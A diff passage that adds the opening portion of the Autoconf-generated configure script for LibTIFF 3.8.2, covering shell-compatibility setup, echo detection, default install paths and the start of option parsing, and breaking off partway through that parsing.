+# This configure script is free software; the Free Software Foundation
+# gives unlimited permission to copy, distribute and modify it.
+## --------------------- ##
+## M4sh Initialization.  ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+  emulate sh
+  NULLCMD=:
+  # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+  # is contrary to our usage.  Disable this feature.
+  alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+  set -o posix
+fi
+DUALCASE=1; export DUALCASE # for MKS sh
+
+# Support unset when possible.
+if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then
+  as_unset=unset
+else
+  as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+  LC_TELEPHONE LC_TIME
+do
+  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
+    eval $as_var=C; export $as_var
+  else
+    $as_unset $as_var
+  fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+  as_basename=basename
+else
+  as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+	 X"$0" : 'X\(//\)$' \| \
+	 X"$0" : 'X\(/\)$' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+    sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+  	  /^X\/\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\/\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+  echo "#! /bin/sh" >conf$$.sh
+  echo  "exit 0"   >>conf$$.sh
+  chmod +x conf$$.sh
+  if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+    PATH_SEPARATOR=';'
+  else
+    PATH_SEPARATOR=:
+  fi
+  rm -f conf$$.sh
+fi
+
+
+  as_lineno_1=$LINENO
+  as_lineno_2=$LINENO
+  as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+  test "x$as_lineno_1" != "x$as_lineno_2" &&
+  test "x$as_lineno_3"  = "x$as_lineno_2"  || {
+  # Find who we are.  Look in the path if we contain no path at all
+  # relative or not.
+  case $0 in
+    *[\\/]* ) as_myself=$0 ;;
+    *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+       ;;
+  esac
+  # We did not find ourselves, most probably we were run as `sh COMMAND'
+  # in which case we are not to be found in the path.
+  if test "x$as_myself" = x; then
+    as_myself=$0
+  fi
+  if test ! -f "$as_myself"; then
+    { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2
+   { (exit 1); exit 1; }; }
+  fi
+  case $CONFIG_SHELL in
+  '')
+    as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for as_base in sh bash ksh sh5; do
+	 case $as_dir in
+	 /*)
+	   if ("$as_dir/$as_base" -c '
+  as_lineno_1=$LINENO
+  as_lineno_2=$LINENO
+  as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+  test "x$as_lineno_1" != "x$as_lineno_2" &&
+  test "x$as_lineno_3"  = "x$as_lineno_2" ') 2>/dev/null; then
+	     $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+	     $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+	     CONFIG_SHELL=$as_dir/$as_base
+	     export CONFIG_SHELL
+	     exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+	   fi;;
+	 esac
+       done
+done
+;;
+  esac
+
+  # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+  # uniformly replaced by the line number.  The first 'sed' inserts a
+  # line-number line before each line; the second 'sed' does the real
+  # work.  The second script uses 'N' to pair each line-number line
+  # with the numbered line, and appends trailing '-' during
+  # substitution so that $LINENO is not a special case at line end.
+  # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+  # second 'sed' script.  Blame Lee E. McMahon for sed's syntax.  :-)
+  sed '=' <$as_myself |
+    sed '
+      N
+      s,$,-,
+      : loop
+      s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+      t loop
+      s,-$,,
+      s,^['$as_cr_digits']*\n,,
+    ' >$as_me.lineno &&
+  chmod +x $as_me.lineno ||
+    { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2
+   { (exit 1); exit 1; }; }
+
+  # Don't try to exec as it changes $[0], causing all sort of problems
+  # (the dirname of $[0] is not the place where we might find the
+  # original and so on.  Autoconf is especially sensible to this).
+  . ./$as_me.lineno
+  # Exit status is that of the last command.
+  exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+  *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T='	' ;;
+  *c*,*  ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+  *)       ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+  as_expr=expr
+else
+  as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+  # We could just check for DJGPP; but this test a) works b) is more generic
+  # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+  if test -f conf$$.exe; then
+    # Don't use ln at all; we don't have any links
+    as_ln_s='cp -p'
+  else
+    as_ln_s='ln -s'
+  fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+  as_ln_s=ln
+else
+  as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+  as_mkdir_p=:
+else
+  test -d ./-p && rmdir ./-p
+  as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" 	$as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+
+
+# Check that we are running under the correct shell.
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+case X$lt_ECHO in
+X*--fallback-echo)
+  # Remove one level of quotation (which was required for Make).
+  ECHO=`echo "$lt_ECHO" | sed 's,\\\\\$\\$0,'$0','`
+  ;;
+esac
+
+ECHO=${lt_ECHO-echo}
+if test "X$1" = X--no-reexec; then
+  # Discard the --no-reexec flag, and continue.
+  shift
+elif test "X$1" = X--fallback-echo; then
+  # Avoid inline document here, it may be left over
+  :
+elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' ; then
+  # Yippee, $ECHO works!
+  :
+else
+  # Restart under the correct shell.
+  exec $SHELL "$0" --no-reexec ${1+"$@"}
+fi
+
+if test "X$1" = X--fallback-echo; then
+  # used as fallback echo
+  shift
+  cat <<_LT_EOF
+$*
+_LT_EOF
+  exit 0
+fi
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+if test -z "$lt_ECHO"; then
+  if test "X${echo_test_string+set}" != Xset; then
+    # find a string as large as possible, as long as the shell can cope with it
+    for cmd in 'sed 50q "$0"' 'sed 20q "$0"' 'sed 10q "$0"' 'sed 2q "$0"' 'echo test'; do
+      # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ...
+      if { echo_test_string=`eval $cmd`; } 2>/dev/null &&
+	 { test "X$echo_test_string" = "X$echo_test_string"; } 2>/dev/null
+      then
+        break
+      fi
+    done
+  fi
+
+  if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' &&
+     echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` &&
+     test "X$echo_testing_string" = "X$echo_test_string"; then
+    :
+  else
+    # The Solaris, AIX, and Digital Unix default echo programs unquote
+    # backslashes.  This makes it impossible to quote backslashes using
+    #   echo "$something" | sed 's/\\/\\\\/g'
+    #
+    # So, first we look for a working echo in the user's PATH.
+
+    lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+    for dir in $PATH /usr/ucb; do
+      IFS="$lt_save_ifs"
+      if (test -f $dir/echo || test -f $dir/echo$ac_exeext) &&
+         test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' &&
+         echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` &&
+         test "X$echo_testing_string" = "X$echo_test_string"; then
+        ECHO="$dir/echo"
+        break
+      fi
+    done
+    IFS="$lt_save_ifs"
+
+    if test "X$ECHO" = Xecho; then
+      # We didn't find a better echo, so look for alternatives.
+      if test "X`{ print -r '\t'; } 2>/dev/null`" = 'X\t' &&
+         echo_testing_string=`{ print -r "$echo_test_string"; } 2>/dev/null` &&
+         test "X$echo_testing_string" = "X$echo_test_string"; then
+        # This shell has a builtin print -r that does the trick.
+        ECHO='print -r'
+      elif { test -f /bin/ksh || test -f /bin/ksh$ac_exeext; } &&
+	   test "X$CONFIG_SHELL" != X/bin/ksh; then
+        # If we have ksh, try running configure again with it.
+        ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh}
+        export ORIGINAL_CONFIG_SHELL
+        CONFIG_SHELL=/bin/ksh
+        export CONFIG_SHELL
+        exec $CONFIG_SHELL "$0" --no-reexec ${1+"$@"}
+      else
+        # Try using printf.
+        ECHO='printf %s\n'
+        if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' &&
+	   echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` &&
+	   test "X$echo_testing_string" = "X$echo_test_string"; then
+	  # Cool, printf works
+	  :
+        elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` &&
+	     test "X$echo_testing_string" = 'X\t' &&
+	     echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	     test "X$echo_testing_string" = "X$echo_test_string"; then
+	  CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL
+	  export CONFIG_SHELL
+	  SHELL="$CONFIG_SHELL"
+	  export SHELL
+	  ECHO="$CONFIG_SHELL $0 --fallback-echo"
+        elif echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` &&
+	     test "X$echo_testing_string" = 'X\t' &&
+	     echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` &&
+	     test "X$echo_testing_string" = "X$echo_test_string"; then
+	  ECHO="$CONFIG_SHELL $0 --fallback-echo"
+        else
+	  # maybe with a smaller string...
+	  prev=:
+
+	  for cmd in 'echo test' 'sed 2q "$0"' 'sed 10q "$0"' 'sed 20q "$0"' 'sed 50q "$0"'; do
+	    if { test "X$echo_test_string" = "X`eval $cmd`"; } 2>/dev/null
+	    then
+	      break
+	    fi
+	    prev="$cmd"
+	  done
+
+	  if test "$prev" != 'sed 50q "$0"'; then
+	    echo_test_string=`eval $prev`
+	    export echo_test_string
+	    exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "$0" ${1+"$@"}
+	  else
+	    # Oops.  We lost completely, so just stick with echo.
+	    ECHO=echo
+	  fi
+        fi
+      fi
+    fi
+  fi
+fi
+
+# Copy echo and quote the copy suitably for passing to libtool from
+# the Makefile, instead of quoting the original, which is used later.
+lt_ECHO=$ECHO
+if test "X$lt_ECHO" = "X$CONFIG_SHELL $0 --fallback-echo"; then
+   lt_ECHO="$CONFIG_SHELL \\\$\$0 --fallback-echo"
+fi
+
+
+
+
+# Name of the host.
+# hostname on some systems (SVR3.2, Linux) returns a bogus exit status,
+# so uname gets run too.
+ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q`
+
+exec 6>&1
+
+#
+# Initializations.
+#
+ac_default_prefix=/usr/local
+ac_config_libobj_dir=.
+cross_compiling=no
+subdirs=
+MFLAGS=
+MAKEFLAGS=
+SHELL=${CONFIG_SHELL-/bin/sh}
+
+# Maximum number of lines to put in a shell here document.
+# This variable seems obsolete.  It should probably be removed, and
+# only ac_max_sed_lines should be used.
+: ${ac_max_here_lines=38}
+
+# Identity of this package.
+PACKAGE_NAME='LibTIFF Software'
+PACKAGE_TARNAME='tiff'
+PACKAGE_VERSION='3.8.2'
+PACKAGE_STRING='LibTIFF Software 3.8.2'
+PACKAGE_BUGREPORT='tiff@lists.maptools.org'
+
+# Factoring default headers for most tests.
+ac_includes_default="\
+#include <stdio.h>
+#if HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+#if HAVE_SYS_STAT_H
+# include <sys/stat.h>
+#endif
+#if STDC_HEADERS
+# include <stdlib.h>
+# include <stddef.h>
+#else
+# if HAVE_STDLIB_H
+#  include <stdlib.h>
+# endif
+#endif
+#if HAVE_STRING_H
+# if !STDC_HEADERS && HAVE_MEMORY_H
+#  include <memory.h>
+# endif
+# include <string.h>
+#endif
+#if HAVE_STRINGS_H
+# include <strings.h>
+#endif
+#if HAVE_INTTYPES_H
+# include <inttypes.h>
+#else
+# if HAVE_STDINT_H
+#  include <stdint.h>
+# endif
+#endif
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif"
+
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS build build_cpu build_vendor build_os host host_cpu host_vendor host_os target target_cpu target_vendor target_os INSTALL_PROGRAM INSTALL_SCRIPT INSTALL_DATA CYGPATH_W PACKAGE VERSION ACLOCAL AUTOCONF AUTOMAKE AUTOHEADER MAKEINFO install_sh STRIP ac_ct_STRIP INSTALL_STRIP_PROGRAM mkdir_p AWK SET_MAKE am__leading_dot AMTAR am__tar am__untar MAINTAINER_MODE_TRUE MAINTAINER_MODE_FALSE MAINT LIBTIFF_MAJOR_VERSION LIBTIFF_MINOR_VERSION LIBTIFF_MICRO_VERSION LIBTIFF_ALPHA_VERSION LIBTIFF_VERSION LIBTIFF_VERSION_INFO LIBTIFF_RELEASE_DATE CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT DEPDIR am__include am__quote AMDEP_TRUE AMDEP_FALSE AMDEPBACKSLASH CCDEPMODE am__fastdepCC_TRUE am__fastdepCC_FALSE LN_S LIBTOOL SED EGREP FGREP GREP LD DUMPBIN ac_ct_DUMPBIN NM AR ac_ct_AR RANLIB ac_ct_RANLIB lt_ECHO CPP AS ac_ct_AS DLLTOOL ac_ct_DLLTOOL OBJDUMP ac_ct_OBJDUMP LIBOBJS HAVE_RPATH_TRUE HAVE_RPATH_FALSE LIBTIFF_DOCDIR HAVE_CXX_TRUE HAVE_CXX_FALSE X_CFLAGS X_PRE_LIBS X_LIBS X_EXTRA_LIBS acx_pthread_config PTHREAD_CC PTHREAD_LIBS PTHREAD_CFLAGS GL_CFLAGS GL_LIBS CXX CXXFLAGS ac_ct_CXX CXXDEPMODE am__fastdepCXX_TRUE am__fastdepCXX_FALSE CXXCPP GLU_CFLAGS GLU_LIBS GLUT_CFLAGS GLUT_LIBS HAVE_OPENGL_TRUE HAVE_OPENGL_FALSE LIBDIR LTLIBOBJS'
+ac_subst_files=''
+
+# Initialize some variables set by options.
+ac_init_help=
+ac_init_version=false
+# The variables have the same names as the options, with
+# dashes changed to underlines.
+cache_file=/dev/null
+exec_prefix=NONE
+no_create=
+no_recursion=
+prefix=NONE
+program_prefix=NONE
+program_suffix=NONE
+program_transform_name=s,x,x,
+silent=
+site=
+srcdir=
+verbose=
+x_includes=NONE
+x_libraries=NONE
+
+# Installation directory options.
+# These are left unexpanded so users can "make install exec_prefix=/foo"
+# and all the variables that are supposed to be based on exec_prefix
+# by default will actually change.
+# Use braces instead of parens because sh, perl, etc. also accept them.
+bindir='${exec_prefix}/bin'
+sbindir='${exec_prefix}/sbin'
+libexecdir='${exec_prefix}/libexec'
+datadir='${prefix}/share'
+sysconfdir='${prefix}/etc'
+sharedstatedir='${prefix}/com'
+localstatedir='${prefix}/var'
+libdir='${exec_prefix}/lib'
+includedir='${prefix}/include'
+oldincludedir='/usr/include'
+infodir='${prefix}/info'
+mandir='${prefix}/man'
+
+ac_prev=
+for ac_option
+do
+  # If the previous option needs an argument, assign it.
+  if test -n "$ac_prev"; then
+    eval "$ac_prev=\$ac_option"
+    ac_prev=
+    continue
+  fi
+
+  ac_optarg=`expr "x$ac_option" : 'x[^=]*=\(.*\)'`
+
+  # Accept the important Cygnus configure options, so we can diagnose typos.
+
+  case $ac_option in
+
+  -bindir | --bindir | --bindi | --bind | --bin | --bi)
+    ac_prev=bindir ;;
+  -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*)
+    bindir=$ac_optarg ;;
+
+  -build | --build | --buil | --bui | --bu)
+    ac_prev=build_alias ;;
+  -build=* | --build=* | --buil=* | --bui=* | --bu=*)
+    build_alias=$ac_optarg ;;
+
+  -cache-file | --cache-file | --cache-fil | --cache-fi \
+  | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c)
+    ac_prev=cache_file ;;
+  -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \
+  | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*)
+    cache_file=$ac_optarg ;;
+
+  --config-cache | -C)
+    cache_file=config.cache ;;
+
+  -datadir | --datadir | --datadi | --datad | --data | --dat | --da)
+    ac_prev=datadir ;;
+  -datadir=* | --datadir=* | --datadi=* | --datad=* | --data=* | --dat=* \
+  | --da=*)
+    datadir=$ac_optarg ;;
+
+  -disable-* | --disable-*)
+    ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'`
+    # Reject names that are not valid shell variable names.
+    expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+      { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+   { (exit 1); exit 1; }; }
+    ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+    eval "enable_$ac_feature=no" ;;
+
+  -enable-* | --enable-*)
+    ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'`
+    # Reject names that are not valid shell variable names.
+    expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+      { echo "$as_me: error: invalid feature name: $ac_feature" >&2
+   { (exit 1); exit 1; }; }
+    ac_feature=`echo $ac_feature | sed 's/-/_/g'`
+    case $ac_option in
+      *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+      *) ac_optarg=yes ;;
+    esac
+    eval "enable_$ac_feature='$ac_optarg'" ;;
+
+  -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \
+  | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \
+  | --exec | --exe | --ex)
+    ac_prev=exec_prefix ;;
+  -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \
+  | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \
+  | --exec=* | --exe=* | --ex=*)
+    exec_prefix=$ac_optarg ;;
+
+  -gas | --gas | --ga | --g)
+    # Obsolete; use --with-gas.
+    with_gas=yes ;;
+
+  -help | --help | --hel | --he | -h)
+    ac_init_help=long ;;
+  -help=r* | --help=r* | --hel=r* | --he=r* | -hr*)
+    ac_init_help=recursive ;;
+  -help=s* | --help=s* | --hel=s* | --he=s* | -hs*)
+    ac_init_help=short ;;
+
+  -host | --host | --hos | --ho)
+    ac_prev=host_alias ;;
+  -host=* | --host=* | --hos=* | --ho=*)
+    host_alias=$ac_optarg ;;
+
+  -includedir | --includedir | --includedi | --included | --include \
+  | --includ | --inclu | --incl | --inc)
+    ac_prev=includedir ;;
+  -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \
+  | --includ=* | --inclu=* | --incl=* | --inc=*)
+    includedir=$ac_optarg ;;
+
+  -infodir | --infodir | --infodi | --infod | --info | --inf)
+    ac_prev=infodir ;;
+  -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*)
+    infodir=$ac_optarg ;;
+
+  -libdir | --libdir | --libdi | --libd)
+    ac_prev=libdir ;;
+  -libdir=* | --libdir=* | --libdi=* | --libd=*)
+    libdir=$ac_optarg ;;
+
+  -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \
+  | --libexe | --libex | --libe)
+    ac_prev=libexecdir ;;
+  -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \
+  | --libexe=* | --libex=* | --libe=*)
+    libexecdir=$ac_optarg ;;
+
+  -localstatedir | --localstatedir | --localstatedi | --localstated \
+  | --localstate | --localstat | --localsta | --localst \
+  | --locals | --local | --loca | --loc | --lo)
+    ac_prev=localstatedir ;;
+  -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \
+  | --localstate=* | --localstat=* | --localsta=* | --localst=* \
+  | --locals=* | --local=* | --loca=* | --loc=* | --lo=*)
+    localstatedir=$ac_optarg ;;
+
+  -mandir | --mandir | --mandi | --mand | --man | --ma | --m)
+    ac_prev=mandir ;;
+  -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*)
+    mandir=$ac_optarg ;;
+
+  -nfp | --nfp | --nf)
+    # Obsolete; use --without-fp.
+    with_fp=no ;;
+
+  -no-create | --no-create | --no-creat | --no-crea | --no-cre \
+  | --no-cr | --no-c | -n)
+    no_create=yes ;;
+
+  -no-recursion | --no-recursion | --no-recursio | --no-recursi \
+  | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r)
+    no_recursion=yes ;;
+
+  -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \
+  | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \
+  | --oldin | --oldi | --old | --ol | --o)
+    ac_prev=oldincludedir ;;
+  -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \
+  | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \
+  | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*)
+    oldincludedir=$ac_optarg ;;
+
+  -prefix | --prefix | --prefi | --pref | --pre | --pr | --p)
+    ac_prev=prefix ;;
+  -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*)
+    prefix=$ac_optarg ;;
+
+  -program-prefix | --program-prefix | --program-prefi | --program-pref \
+  | --program-pre | --program-pr | --program-p)
+    ac_prev=program_prefix ;;
+  -program-prefix=* | --program-prefix=* | --program-prefi=* \
+  | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*)
+    program_prefix=$ac_optarg ;;
+
+  -program-suffix | --program-suffix | --program-suffi | --program-suff \
+  | --program-suf | --program-su | --program-s)
+    ac_prev=program_suffix ;;
+  -program-suffix=* | --program-suffix=* | --program-suffi=* \
+  | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*)
+    program_suffix=$ac_optarg ;;
+
+  -program-transform-name | --program-transform-name \
+  | --program-transform-nam | --program-transform-na \
+  | --program-transform-n | --program-transform- \
+  | --program-transform | --program-transfor \
+  | --program-transfo | --program-transf \
+  | --program-trans | --program-tran \
+  | --progr-tra | --program-tr | --program-t)
+    ac_prev=program_transform_name ;;
+  -program-transform-name=* | --program-transform-name=* \
+  | --program-transform-nam=* | --program-transform-na=* \
+  | --program-transform-n=* | --program-transform-=* \
+  | --program-transform=* | --program-transfor=* \
+  | --program-transfo=* | --program-transf=* \
+  | --program-trans=* | --program-tran=* \
+  | --progr-tra=* | --program-tr=* | --program-t=*)
+    program_transform_name=$ac_optarg ;;
+
+  -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+  | -silent | --silent | --silen | --sile | --sil)
+    silent=yes ;;
+
+  -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb)
+    ac_prev=sbindir ;;
+  -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \
+  | --sbi=* | --sb=*)
+    sbindir=$ac_optarg ;;
+
+  -sharedstatedir | --sharedstatedir | --sharedstatedi \
+  | --sharedstated | --sharedstate | --sharedstat | --sharedsta \
+  | --sharedst | --shareds | --shared | --share | --shar \
+  | --sha | --sh)
+    ac_prev=sharedstatedir ;;
+  -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \
+  | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \
+  | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \
+  | --sha=* | --sh=*)
+    sharedstatedir=$ac_optarg ;;
+
+  -site | --site | --sit)
+    ac_prev=site ;;
+  -site=* | --site=* | --sit=*)
+    site=$ac_optarg ;;
+
+  -srcdir | --srcdir | --srcdi | --srcd | --src | --sr)
+    ac_prev=srcdir ;;
+  -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*)
+    srcdir=$ac_optarg ;;
+
+  -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \
+  | --syscon | --sysco | --sysc | --sys | --sy)
+    ac_prev=sysconfdir ;;
+  -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \
+  | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*)
+    sysconfdir=$ac_optarg ;;
+
+  -target | --target | --targe | --targ | --tar | --ta | --t)
+    ac_prev=target_alias ;;
+  -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*)
+    target_alias=$ac_optarg ;;
+
+  -v | -verbose | --verbose | --verbos | --verbo | --verb)
+    verbose=yes ;;
+
+  -version | --version | --versio | --versi | --vers | -V)
+    ac_init_version=: ;;
+
+  -with-* | --with-*)
+    ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'`
+    # Reject names that are not valid shell variable names.
+    expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+      { echo "$as_me: error: invalid package name: $ac_package" >&2
+   { (exit 1); exit 1; }; }
+    ac_package=`echo $ac_package| sed 's/-/_/g'`
+    case $ac_option in
+      *=*) ac_optarg=`echo "$ac_optarg" | sed "s/'/'\\\\\\\\''/g"`;;
+      *) ac_optarg=yes ;;
+    esac
+    eval "with_$ac_package='$ac_optarg'" ;;
+
+  -without-* | --without-*)
+    ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'`
+    # Reject names that are not valid shell variable names.
+    expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null &&
+      { echo "$as_me: error: invalid package name: $ac_package" >&2
+   { (exit 1); exit 1; }; }
+    ac_package=`echo $ac_package | sed 's/-/_/g'`
+    eval "with_$ac_package=no" ;;
+
+  --x)
+    # Obsolete; use --with-x.
+    with_x=yes ;;
+
+  -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \
+  | --x-incl | --x-inc | --x-in | --x-i)
+    ac_prev=x_includes ;;
+  -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \
+  | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*)
+    x_includes=$ac_optarg ;;
+
+  -x-libraries | --x-libraries | --x-librarie | --x-librari \
+  | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l)
+    ac_prev=x_libraries ;;
+  -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \
+  | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*)
+    x_libraries=$ac_optarg ;;
+
+  -*) { echo "$as_me: error: unrecognized option: $ac_option
+Try \`$0 --help' for more information." >&2
+   { (exit 1); exit 1; }; }
+    ;;
+
+  *=*)
+    ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='`
+    # Reject names that are not valid shell variable names.
+    expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null &&
+      { echo "$as_me: error: invalid variable name: $ac_envvar" >&2
